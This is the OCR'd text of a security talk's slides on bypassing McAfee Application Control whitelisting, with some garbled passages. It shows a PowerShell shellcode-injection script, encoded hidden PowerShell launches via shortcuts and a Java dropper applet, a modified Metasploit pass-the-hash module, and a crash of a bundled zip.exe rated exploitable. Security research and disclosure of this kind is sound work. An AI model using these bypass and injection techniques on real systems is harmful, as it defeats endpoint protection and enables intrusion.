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Application Whitelisting

A Idea

A Servers - few applications (webserver, database server, anti virus
product, ...)

A Applications change very rarely
A C Prevent the execution of other applications

A CThis prevents the execution of
malware, applications from hackers, and so on)
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Application Whitelisting

A Main field of application

A Systems in critical infrastructures (e.g. SCADA
environments)

Important company systems / servers

Workstations with high security requirements (administrative
workstations)

Kiosk systems

T T To I
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Application Whitelisting

A Solutions:

McAfee Application Control (Solidcore)
Microsoft AppLocker

Bit9 Parity Suite

CoreTrace Bouncer

Lumension Application Control

SignaCert Enterprise Trust Services

To Jo To To To I
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In-depth look at application whitelisting

A Big problem of application whitelisting
A How should updates be handled?

A Implementation details

A Store path of application in whitelist

A C Fast, but what if attacker modifies the executable?
A Store hashsum of application in whitelist?

A C Slow, but what if application has an update mechanism?
A Protection of additional files

A Protection of libraries

A Protection of scripts

A Configuration files of the application / the database file
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McAfee Application Control

A Only Windows version covered in this talk
A Only Windows license available during customer project

A Tests done for version 6.1.3.353
A Windows XP x86
A Windows 7 x86
A Windows 8.1 x64
A Windows 2008R2 x64 (not working)

ADVISOR FOR YOUR INFORMATION SECURITY

Title:Bypassing McAfeebds Application Whi t|BRdspossibienRy Fréingruberc r i ® 20£568EC ConstiltrUatsrmehmensbetaturgg GelyHs t e ms

Version / Date: V1.0 / 11-2015] | Confidentiality Class: Public All rights reserved




T McAfee Solidifier Command Line

C:“Program Files“McAfeesSolidcorerzsadmin help
Copuright 2008-28014 McAfee,. Inc. All Rights Reserved.
Uzage: sadmin {COMMAND> [optionz] [arguments]

Sadmin iz the command line interface to administer McAfee Solidifier.

Modify or display advanced exclude filter rules.
Authorize checksum.
Start obhservation mode on the system
Begin wpdate window to allow updates to the system
Add,. list or remove trusted certificates
Dizable McAfee Solidifier control on next reboot
Enable McAfee Solidifier control on next rehoot
End obhservation mode on the system
End update window
Dizplay help for bhasic commands

he lp—advanced Dizplay help for advanced commands

license Configure McAfee BSolidifier licenses
Modify or dizplay the monitoring rules
Set or unset a password for the actionabhle commands
So0lidify the system
Display status of McAfee Solidifier
Modify or display the rules for trusted paths
Unsolidify the specified file, directory or volume
Add,. list or remove authorized wupdaters
Display version of McAfee Solidifier

for detailed help on a specific command.
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AASolidifyid the system:

C:~Program Files“McAfeesSolidcorersadmin solidify
Paszsword:

Enumerating installed products.

Solidifvying volume G:=%

HA:AA:-48: Total files scanned 11426, solidified 2571

C:sProgram FilessMcAfeesSolidcore

C:~Program Files“~McAfee~Solidcore*szadmin status
McAfee Solidifier: Disabled
McAfee Solidifier on reboot: Disabled

eP0 Managed: Mo
Local CLI access: Recovered

[Fztypel [ztatus] [driver status]l [volumel
*= MIFS Solidified Unattached [ HHR

C:~Program Files“~McAfee~Solidcore*sadmin enahle

Pazsword:

McAfee Solidifier will be enabled without Memory Protection on service restart.
Memory Protection will be available on next rehoot.

Title:Bypassing McAfeeods Application Whi t|RdspoasibienRy Fréingruberc r i ® 20£565EC ConstilrUatermehmensbetaturgg GelyHs t e ms O
Version / Date: V1.0 / 11-2015] | Confidentiality Class: Public All rights reserved

ADVISOR FOR YOUR INFORMATION SECURITY




A Application Whitelisting protects against execution of not
whitelisted applications or scripts

C:\Documents and Settingsiresearch\Desktop\immunityDebugger_1_B5_setup.exe

@ Windows cannok access the specified device, path, or file. ¥ou may not have the appropriake permissions to access the ikem.

)4

et (CAWINDOWSAsystem32\cmd.exe

Microsoft Windows HP [Version 5.1.26Hd1]
¢G> Copyright 1985-2881 Microsoft Corp.

C:~»Documents and Settingssresearchrcd Desktop

C:Documentsz and Settings“research~Desktop>test.bat
Access is denied.
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McAfee Application Control

A Other features:

A Write protection
A Mandatory because of the design of the application!
A Application just stores the path to the executable

A Write protection prevents attacker from overwriting whitelisted
applications

A Read protection
A Used e.g. to protect the whitelist or the password-hash file
A Memory Corruption protection

A Important because memory corruptions can be used to bypass
application whitelisting
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McAfee Application Control - Updaters

C:\ >sadmin updaters list
Password:
-d -tApachel
- t Applel
-t AdobeArmsvcl
-t SERVERROLES1
-t McAfee4?2
- t McAfee25
- t McAfee43
-t MVM2
-t MVM1
- t McAfee32
- t FlashplayerUpdateServicel
-t McAfeel8
-t McAfeel
- t McAfeelO
- t McAfee36
- t McAfee35
- t McAfee39
- t McAfee37
- t McAfee23
-t McAfee22
-t McAfeel6

apache.exe

Apple Software Update \ softwareupdate.exe

armsvc.exe
dism.exe

ePolicy  Orchestrator \ EventParser.exe
ePolicy  Orchestrator \ Server \ bin \ tomcat5.exe
ePolicy  Orchestrator \ Server \ bin \ tomcat7.exe

FCAgent.exe
FCPatchinstallAgent.exe
firesvc.exe
FlashplayerUpdateService.exe
FramePkg.exe
Frameworkservice.exe
Framew~1.exe
FSAssessment.exe
FSDiscovery.exe
FSScanCtrISvc.exe
FSScanEngineSvc.exe
HIPSvc.exe

HtmIDlg.exe

iexplore.exe -1 mcinsctl.dll
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McAfee Application Control - Updaters

-d -tHP_Quality_Centerl

-Nn

-t J2RE2

-t J2RE1

- t JavaUpdate2
- t JavaUpdatel
- t McAfee46
- t McAfee9
-t McAfee4dl
-t McAfeel4d
- t McAfeel9
- t McAfee31
- t McAfee8
-t McAfeell
- t McAfee20
- t McAfee7
- t McAfee40
-t McAfeed4
- t McAfee45
- t McAfee30
- t McAfee3
- t McAfeeb
-t McAfeel?2
- t McAfeel5
-t McAfeel3

iexplore.exe - | QCClient.Ul.Core.dll
ikernel.exe - p svchost.exe
ikernel.exe - p winlogon.exe

Java \ Java Update \ jucheck.exe
Java \ Java Update \ jusched.exe
McAfee\ Real Time\ rtclient.exe
Mcappins.exe

McCHSvc.exe

mcmnhdlr.exe

mcods.exe

McSACore.exe

McScript.exe
McScript_InUse.exe
mcshell.exe

McShield.exe

McSvHost.exe

MCcTELSvc.exe

McTELUpd.exe

McTray.exe

Mcupdate.exe

Mcupdmgr.exe

McVSEscn.exe

Mcvsrte.exe

mcvsshld.exe
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McAfee Application Control - Updaters

-d -tMcAfee24
- t McAfeeb
- t MozillaMaintenanceServicel
-t McAfee2
-t McAfee2l
- t Nvidiadaemonul
- t McAfee38
- t MCGroupShieldl
- t McAfee34
- t McAfee29
-t McAfeel7
-t PRINTER1
- t McAfee33
-t METROAPP1
-t METROAPP2
- t WindowsSQMconsolidatorl
-t SERVERROLES?2
- t McAfeed
- t McAfee26
- t McAfee28
- t McAfee27
-t WINDOWS1
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mer.exe
Mghtml.exe

Mozilla  Maintenance Service \ maintenanceservice.exe
Msshield.exe

myAgtSvc.exe

NVIDIA Corporation \ NVIDIA Update Core \ daemonu.exe
ReportServer.exe

RPCServ.exe

RSSensor.exe

SBadduser.exe

scan32.exe

spoolsv.exe

Supportability \ MVX MvtApp.exe
svchost.exe - | appxdeploymentserver.dl|
svchost.exe - | wsservice.dll

system32 \ Wsgmcons.exe

tiworker.exe

udaterui.exe

VirusScan  Enterprise \ VsTskMgr.exe
VirusScan  Enterprise \ x64\ EngineServer.exe
VirusScan  Enterprise \ x64\ Scan64.exe
webfldrs.msi
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McAfee Application Control I Memory Protection

A fin addition, it prevents whitelisted applications from
being exploited via memory buffer overflow attacks on
Windows 32- and 64-bit systems. 0

Source: http://www.mcafee.com/us/products/application-control.aspx

AfiKey Advantages: RayanddRTs ag a
without signature updates. O

Source: http://www.mcafee.com/us/resources/data-sheets/ds-application-control.pdf

Afiwhitelisted programs that m
vulnerabilities cannot be exploited through a buffer
overfl ow. n

Source: http://www.mcafee.com/mx/resources/solution-briefs/sb-app-control-legacy-windows-xp.pdf
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Kernel driver
swinl.sys

|IOCTL-

codes
Inter Process

Communication
(IPC)

\ types commands /
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Bypassing Application Whitelisting

A Problem: We cannot execute our own application

A Solution: Abuse installed / whitelisted applications
C Find a whitelisted application which can be used to execute code

N~

C Should be whitelisted on all systems
A Windows specific executables
A Executables installed by McAfee Application Control
A Executables installed by common 3rd party tools (e.g. Office)
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PowerShell

A Pentesters best friend i PowerShell

A Available since Microsoft Windows Vista
A Whitelisted per defaultby Asol i di fyi

A Can be used to invoke shellcode (even if powershell
scripts are disabled)!

ADVISOR FOR YOUR INFORMATION SECURITY
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PowerShell examples

Cos>
C:spowershell —enc YuBhAGUAYwAuAGUAeAB1AA==

View Edit Help
eaps 6888 PR BOGE BOGE GPGE GBBE GBBA
B3 47 32
eaps 6888 PR BOGE BOGE GPGE GBBE GBBA
31 15 a
) Hex Mod| A | MC || MR || MS || M= || M-
@ Dec — || CE C J
-

®oa |LU [ B =
) Bin RolL || RoR C 7 8 9 / *

D

E

F
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PowerShell examples

A Which PowerShell script do we start?

A Have a look at PowerSploit!

A MowerSploit is a collection of Microsoft PowerShell modules

that can be used to aid penetration testers during all phases
of an assessment.fi

A https://github.com/mattifestation/PowerSploit

A Examples: Dllinjection, PE-File Injection, Invoke Shellcode,
Keylogging, Portscan, Mimikatz, é
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https://github.com/mattifestation/PowerSploit

PowerShell examples

$code = @"

[ Dllimport  ("kernel32.dlI")]

public static extern IntPtr  VirtualAlloc (IntPtr  IpAddress , uint
dwSize , uint flAllocationType , uint flProtect );

[ Dllimport  ("kernel32.dlI")]

public static extern IntPtr ~ CreateThread (IntPtr  IpThreadAttributes :
uint dwStackSize , IntPtr IpStartAddress , IntPtr I[pParameter , uint
dwCreationFlags , IntPtr IpThreadld );

[ Dllimport  ("msvcrt.dll")]

public static extern IntPtr memset( IntPtr ~ dest , uint src, uint count);
II@

$winFunc = Add - Type - memberDefinition $code - Name "Win32" - namespace
Win32Functions - passthru

[Byte[]]$ sc = Oxfc,0xe8,0x89 *OTHER SHELLCODE*, 0x63,0x00
$size = 0x1000

if ($ sc.Length -gt O0x1000) {$size = $ sc.Length }

$x=$ winFunc :: VirtualAlloc (0,0x1000,%$size,0x40)

for($ 1=0;%$i -le($sc.Length -1);$ 0 ++)

{$ winFunc :: memset([ IntPtr ]($x.ToInt32()+$ i),$ sc[$i], 1)}
$winFunc :: CreateThread (0,0,$x,0,0,0)

Script from Social Engineering Toolkit (SET), original author: Matthew Graeber (minor modifications by myself)
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Bypassing Application Whitelisting

A Recap:

A If we can manage to start PowerShell we can start any code
which we like (including shellcode, .DLL and .EXE files)

A How do we start PowerShell?

A We cannot put it into a .bat file since .bat files are also
protected by Application Whitelisting!

A ldea
A Devide task of Acode execution
A Step 17 basic code execution (e.g. scripts)
A Step 27 full code execution (e.g. Powershell)

ADVISOR FOR YOUR INFORMATION SECURITY
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Attack vectors

A Focus on real world attacks
A We want to protect against real world attacks
A Therefore we have to test exactly these scenarios!

A Common attack vectors

Any kind of social engineering
Java Applets / Drive-by-Downloads
Microsoft Office Macros

Memory Corruption Exploits (Browser, PDF Reader,
Microsoft Office, ...)

Web application vulnerabilities (command injection, SQL
Injection, file uploads, ...)

To  To To T> Ix
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Basic Code Execution

A Simple ideas:

A User in front of a system (Kiosk systems, Social
Engineering, ...)

A Malicious USB stick (rubber ducky)

[ E simple ducky payload.txt - Notepad =k

Eile Edit Format View Help

REM My First Payload -
WINDOWS r

DELAY 100

STRING notepad.exe

ENTER

DELAY 200

STRING Hello world! I'm in your PC!
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Basic Code Execution

AwWhat i f we dondt have such a

A Attack scenario
A Send victim a file
A Victim opens/starts the file
A Victim is infected

A Typically this is not possible

A .exe, .dll, .bat, .com, and many many many more are
checked and blocked!

A However, they forgot some .... J
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Basic Code Execution

A Abuse of unchecked file types i HTA

Il C:\Documents and Settings\research\Desktop\HTAMest. hta

E calculator
Edit  Wiew Help File Edit Search Wiew Encoding Language Settings Macro Run Plugins  Window

| gl IO R L E I I L=

(JHex @& Dec (Oo0Oct (O Bin (%) Degrees () Radians () Grads [=] test hita Eﬂl

Cline [l Hyp I_ I_ [Backspace” CE ” C ] % %EEZZ; l N

[sa] [ee )]0 ] [ve) [0 ) (7 J[ves] (o] I “;;ﬁlhi‘;li;‘?i’ej Creiii‘éﬁj;ti--w.mn--]
we | [e](ee](n ] (o] [0l il @ om0 e

s o JL e ] ] (2Ll fl D ditoces

SN Y| ES) N R 0 I | R | | | IR | ) I it

[rat [tan”:-:’?”h’x] [pi] Fi) B C D E F
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Basic Code Execution

A Abuse of unchecked file types i JS

““ ¥ C:\Documents and Settings\research\Desktop\js\jscript.js - Notepad++

File Edit Search Yew Encoding Language Settings Macro Run Plugins  Sindow

ls  Help i cHEHGRE 4 Wk 2c |t 2% [EE
! Search Hi“ Folders v =] jscript.js ml

1 var objohell = mpew ActiveXlbhiject{"lIcript.shell™)
gsiresearchiDeskiop!js 2 obishell.run{ ' 'calc.exe');

=Y jscript.js
= J5cripk Scripk File
1 kB

E Calculator

Edit  Wiew Help

| 0
(O Hex & Dec (O 0ct (O Bin (*) Degrees ) Radians () Grads
e [ JHwp I_ I_ | Backspace | | CE | | C |
L] e L) Lee) L J(e Js S g oa [ ana)
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Basic Code Execution

A Another attack possibility are file shortcuts!

A Just create a shortcut to the required application (e.g.
PowerShell)

A Pass arguments inside shortcut
A With Microsoft explorer we are limited to MAX_PATH
A Use Microsoft API to create shortcut

i on Whi t|RdspossibienRy Fréingruberc r i ® 20£565EC ConsfiltrUatertehmemsbetaturgg GelyHs t e ms
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Basic Code Execution

() o Create Shortcut

What item would you like to create a shortcut for?

This wizard helps you to create shortcuts to local or network programs, files, folders, computers, or
Internet addresses.

Type the location of the item:
powershell -nop -windows hidden -E YWBhAGwWAYwWAUAGUAeABIAA==

Browse...

Click Next to continue.

[ Net || cancel |
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Basic Code Execution

Mame Date medified Type Size
ﬁ click_me 13.10.2015 11:25 Shortcut 2 KB
i
Calculator (= | =
YView Edit Help

eaee oeee o008 o808 o©o68 6088 obea Boee

B3 47 32

eaee oeee o008 o808 o©bee G088 obba  Boee

31 15 a

) Hex Mod| A | MC || MR || MS || M+ || M-

M [ ) B — CE C * L)

™) Oct [ B -

() Bin RoL [[ReR || C || 7 || 8 || 9 /|| %

@ Qword or || Xor || D 4 5 ) # || 1/x

() Dword

- Lsh Rsh =

i) Word : : E 1 2 3 —_

© Byte Not |[And | F 0 , +
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Basic Code Execution

A Attack scenario: Web application vulnerability

A Common vulnerabilities which lead to a system
compromise are:
A SQL injection
A OS command injection
A Code injection
A File upload vulnerability

A In all these cases you have the ability to execute
applications, e.g. PowerShell
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Basic Code Execution

A Attack scenario: Pass-the-Hash attack

A Frequently used during internal audits

A Compromise one server, extract local administrator hash,
use the hash to authenticate against other servers with the

same password

A Pentesting tool
A Metasploit module: psexec
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Meterpreter session 1 opened (192.16:

he boot key...
the hboot key iﬂE SYSHKEY

user list and ke

Source: https://www.offensive-security.com/metasploit-unleashed/psexec-pass-hash/
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mst >
mst exploit(

pay load => L'l'i ndo

mst exploit(

L H

m=f exploit(

LPORT => 443
exploit(

Source: https://www.offensive-security.com/metasploit-unleashed/psexec-pass-hash/
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Source: https://www.offensive-security.com/metasploit-unleashed/psexec-pass-hash/
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Pass-the-Hash attack

A Pass-the-hash attack from metasploit does not work if
system is protected by Application Whitelisting

A Reason can be found in code

A Jusr/share/metasploit-framework/
modules/auxiliary/admin/smb/psexec_command.rb

81 # Executes specified Windows Command

82 def execute command(text, bat)

B3 # Try and execute the provided command

84 execute = "SCOMSPEC% /C echo #{datastore[ 'COMMAND']} "= SSYSTEMODRIVES#{text}
= #{bat} & %SCOMSPEC% /C start SCOMSPEC% /C #{bat}"

85 print status("#{peer} - Executing the command...")

86 begin

g7 return psexec(execute)

g8 rescue Rex::Proto::SMB::Exceptions::Error == exec_command_error

89 print _error("#{peer} - Unable to execute specified command: #
{exec_command _error}")

90 return false

gl end

92 end
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Pass-the-Hash attack

AExampl e:

psexec command is Awhc

A Resulting command:

cmd.exe /c

echo whoami > C: \ randomName
>C: \... \temp.bat

&

cmd.exe /c start

cmd.exe /c C:

\ .. \temp.bat

A Output can be read from:
C:\ randomName
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Pass-the-Hash attack

A Simple modification:

82
83
84
85
86
87
88
89
90
91
92

def execute command(text, bat)
# Try and execute the provided command
execute = "SCOMSPECS: /C #{datastore[ 'COMMAMND']}"
print status("#{peer} - Executing the command...")
begin
return psexec(execute)
rescue Rex::Proto::SHMB::Exceptions::Error == exec_command error
print _error("#{peer} - Unable to execute specified command: #{exec command error}")
return false
end
end

C Pass-the-hash attack works against Application
Whitelisting protected systems!
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Full Code Execution

A Already discussed i PowerShell

A But we have many more pre-installed applications which
we can abuse

A Examples:
A Rundll32.exe
A Script intepreters (python, perl, PHP, JSP, ...)

A Debuggers
A ..
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Full Code Execution

A Another way to achieve full code execution is to abuse
Java applets

A Common real world attack vector

A Does notrequiret he Abasic code exec
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Full Code Execution

A Malicious java applet

1@ public class javaDropper extends Applet

11 {

12 public void paint(Graphics paramGraphics)

13 {

14 try {

15 String file = "malware.gxe";

16 String destination = System.getenv("TEMF")+"'\\"+file;
17 extractResource(file,new java.io.File(destination));
18 String command = "emd /¢ start “"+destination;

15 Process child = Runtime.getRuntime() .exec (command) ;
20 /* Code from fake applet */

21 } catch (Exception ) {

227 e.printStackTrace() ;

23 }

24 }
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Full Code Execution

A Simple modification

10
11
12
13
14
15
16
17
18
19

public class javaDropper extends Applet

{
public void paint(Graphics paramGraphics)
{
try {
String command = "cmd /fc powershell -enc YwBhAGwAYwAUAGUA=ABIAA==";
Frocess child = Runtime.getRuntime() .exec(command) ;
/* other applet code */
} catch (Exception e) { e.printStackTrace(); }
1
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Full Code Execution

A This again uses PowerShell...

A What if there is no PowerShell executable o r | f 1 t O
the whitelist?

A Directly inject code into the Java process

A AJ aShallcode E x e ¢ ut iRgam Windeyat BSidesCHS
2013

A https://github.com/schierlm/JavaPayload
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https://github.com/schierlm/JavaPayload

Full Code Execution

A Attack vector: Microsoft Office macros

A Basically the same as Java applets
A We can start applications C Launch PowerShell
A We can inject shellcode C Full code Execution

A Useful tool - shellcode2vbscript
A Written by Didier Stevens

A http://blog.didierstevens.com/2009/05/06/shellcode-2-
vbscript/
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http://blog.didierstevens.com/2009/05/06/shellcode-2-vbscript/

Full Code Execution

A Attack vector: Microsoft Office macros

A Basically the same as Java applets

A We can start applications C Launch PowerShell
A We can inject shellcode C Full code Execution

A Useful tool - shellcode2vbscript
A Written by Didier Stevens

A http://blog.didierstevens.com/2009/05/06/shellcode-2-
vbscript/

A Modify script to work against 64-bit systems
A Long C LongPtr

A Use PtrSafe in front of function definition
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Full Code Execution

A Attack vector: Memory Corruption Exploitation

A Two possibilities
A Without Abasi cCEgBowsenedoiut i oni

A With Abasic cO Bxploite lo@lappticationtds
inject code into the whitelisted application
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Full Code Execution

A Which local application should we exploit?

A Applications from the operating system

A L Hard because of protections (full ASLR, DEP, SafeSEH,
IGS, CFG, ..)

A L Different OS version C Different binary version

A Applications installed by McAfee Application Control
A J On all systems the same binary
A J Maybe they forgot to enable protections...
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A Check installed applications by McAfee Application Control:

C:~Program FilessMcAfeesSolidcoresToolssGatherInforzip.exe —v

Copuright <G> 199W-197Y Into-Z41F

Type *=ip "-L"*' for software license.

his is Zip 2.3 (November 29th 199?>,. by Info-ZIP.

Lurrently maintained by Onno van der Linden. Please send bug reports to

the authors at Zip—Bug=zPlistsz.wku.edu; see HEADME for details.

Latest sources and executables are at ftp:-/sftp.cdrom.comspubsinfozip, as of
above date; see http:/ 7w .cdrom.comspubsinfozip/Zip.html for other sites.

Compiled with mingw32 ~ gcc 2.95.3-6 <mingw special> for
dindows ?x / Windows NI <32-hbhit> on Sep 12 2081.

A Jackpot: ZIP applications from 1999

7 CVE-2004-1010 Exec Code Overflow 2005-03-01  2015-01-09 - Admin Remote Low

Buffer overflow in Info-Zip 2.3 and possibly earlier versions, when using recursive folder compression, allows remote attackers to execute arbitrary code

A No public information available L
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Full Code Execution

A Source code available

1722
1723
1724
1725
1726
1727
1728
1729
1730
1731
1732
1733
1734

Title:Bypassi ng
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Cl#ifdef VMS

Mc Af eed s

strepy (errbuf, "try: zip \"");

for (1 = 1; 1 < (first listarg - 1); i++)
strcat (strecat (errbuf, argv([i]l), "\" "):

strcat (strcat (errbuf, argv[i]), " *.* -1");

felse /* IVMS */

strecpy(errbuf, "try: zip");
for (1 = 1; 1 < first listarg; 1++)
strcat (strcat (errbuf, " "), argv[i]l);
ifdef AMIGA
strcat (errbuf, " \"\" -1");
else
strcat (errbuf, " . -1"):

Applicati on Whi t|BRdspossibienRy Frdingruberc r i ® 20£565EC ConsfiltrUatsrmenmensbetaturgg GelyHs t e ms
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A See it crash:

C:~Program Files“MchAfee*Solidcore~ToolssGatherInforzip.exe —» test.zip aaaaaaaa
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD

ddddddddaaaaaaaaaa.
ddddddddaaaaaaaaaa.

ddddddddaaaaaaaaaa. dddddddaaaaaaaaa
ddddddddaaaaaaaaaa. EIP.E'J:{E' fu n k_ﬂ':l niert nicht mehr dddddddaaaaaaaaa
ddddddddaaaaaaaaaa.

Adddddadadaaaaaaaa
Addddddddddaaaaaa. Adddddadadaaaaaaaa
EEEEELEEEEEERLEEEN  [cowird nach einer Lasung fir das Problem gesucht... AAAAAAAAAAAAAADD
Addddddddddaaaaaa. Adddddadadaaaaaaaa
Addddddddddaaaaaa. Adddddadadaaaaaaaa
Addddddddddaaaaaa. Adddddadadaaaaaaaa
Addddddddddaaaaaa. Adddddadadaaaaaaaa
Addddddddddaaaaaa. —— Adddddadadaaaaaaaa
AaAadadAadanadadaaaaa . Abbrechen aaAadaAaadaAAAAARA
Addddddddddaaaaaa. Adddddadadaaaaaaaa
dddddddddddddfddddooooooaoooooaooooaoaoaooaooaoaoaoooaoaaooaoaoaoaoaoaoaoaoaooooaoaoaodddddaadadaaaaaaan
AdddAddAddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddaaaaadaaaa
AdddAddAddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddaaaaadaaaa
AdddAddAddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddaaaaadaaaa
AdddddAddddddddddddddddddddddadaaaaaa

Zip warning: name not matched: aaaaaaasaasadddddddddddddddddddddaddaaaaa
AdddAddAddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddaaaaadaaaa
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Full Code Execution

A WinDbg !exploitable
C:\—zip.ez-:e —r test . =zlp asAaaaaasaasasasad.

(5170.£d0): Access wiolation — code c0000005 {(first chance)
Fir=t chance exception=s are reported before any exception handling.

Thi= exception may be expected and handled.
sax=61616185 ebx=0042d790 ecx=770b2900 =dx=00616161 =e=i1i=61616185 =di=6l6l6181

elp=77982312 esp=0028fdel =ebp=0028£fdfd 1opl=0 nv up 1 pl ng ac pe nc
c==0023 ===002b d==002L e=s=002Lb f==0053 g==00ZDb ef1=0001021¢
ntdll!RtlEnterCriticalSection+l=xl? :

77982312 f00fba3nnn lock btr dwvord ptr [Eax] .0 d=:002b:6l6l16185="777777¢7

0:000: lexploitable
Ho export exploitable found
0:000x lload winext m=ec.dll
0:000: lexploitable

lexploitable 1.6.0.0

#%% ARHIHG: [nable to werify checlk=um for imagel0400000

##% FREOR: Module load completed but symbol=z could not be loaded for image00400000
Exploitability Clas=sification: EXPLOITABLE

Fecommended Bug Title: Exploitable - Uszer Hode Write AV starting at ntdll!EtlEnteriC:

Tzer mode write access wiolation= that are not near HULL are exploitable.
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Full Code Execution

A Wrap things up:
A Exactly same binary is available on all systems
A Binary code is from 1999
A Lack of security features (DEP, ASLR, ..)
A Buffer overflow in BSS section

A We can control:
A fflush(*controlled_argument_pointer*)
A free(*controlled_argument_pointer*)
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Memory Corruption Protections

A

AMcAfee claims to have Amemor

AidWhitelisted programs that mi
vulnerabllities cannot be exploited through a buffer overflow. i

Source: http://www.mcafee.com/mx/resources/solution-briefs/sb-app-control-legacy-windows-xp.pdf
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http://www.mcafee.com/mx/resources/solution-briefs/sb-app-control-legacy-windows-xp.pdf

A Default settings Windows XP:

C:sProgram FilessMcAfee“Solidcore>sadmin features
Password:

activex
checksum
deny—read
deny—write

dizscover—updaters

integrity

mp

mp—Ccasp

mp—vaspe
network—-tracking
pkg—ctrl
script—auth
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A Default settings Windows 7:

C:\Windows\system32>sadmin features

activex Enabled
checksum Enabled
deny—read Disabled
deny—write Enabled
discover—updaters Enabled
integrity Enabled
mp Enabled
mp—casp Enabled

mp-vasyp Enabled
mp—vasr—forced—relocation Enabled
network—tracking Enabled
pkg—ctrl Enabled

script—auth Enabled
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A Default settings Windows 8.1

ssWindowsssystemd2 *»sadmin features

checkszum Enabhled
deny—read Dizabled
deny—write Enabled
discover—updaters Enabled
integrity Enabled
network—tracking Enabled

pkg—ctrl Enabled
script—auth Enabled
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Memory Corruption Protections

ALet 06s..verify

A Test1
A Firefox Array.reduceRight() vulnerability (CVE-2011-2371)
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Memory Corruption Protections

ALet 6s verify.

A Test1
A Firefox Array.reduceRight() vulnerability (CVE-2011-2371)
A Result: Works without modification on first attempt

A Test 2
A VLC .S3M Stack Buffer Overflow (CVE-2011-1574)
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Memory Corruption Protections
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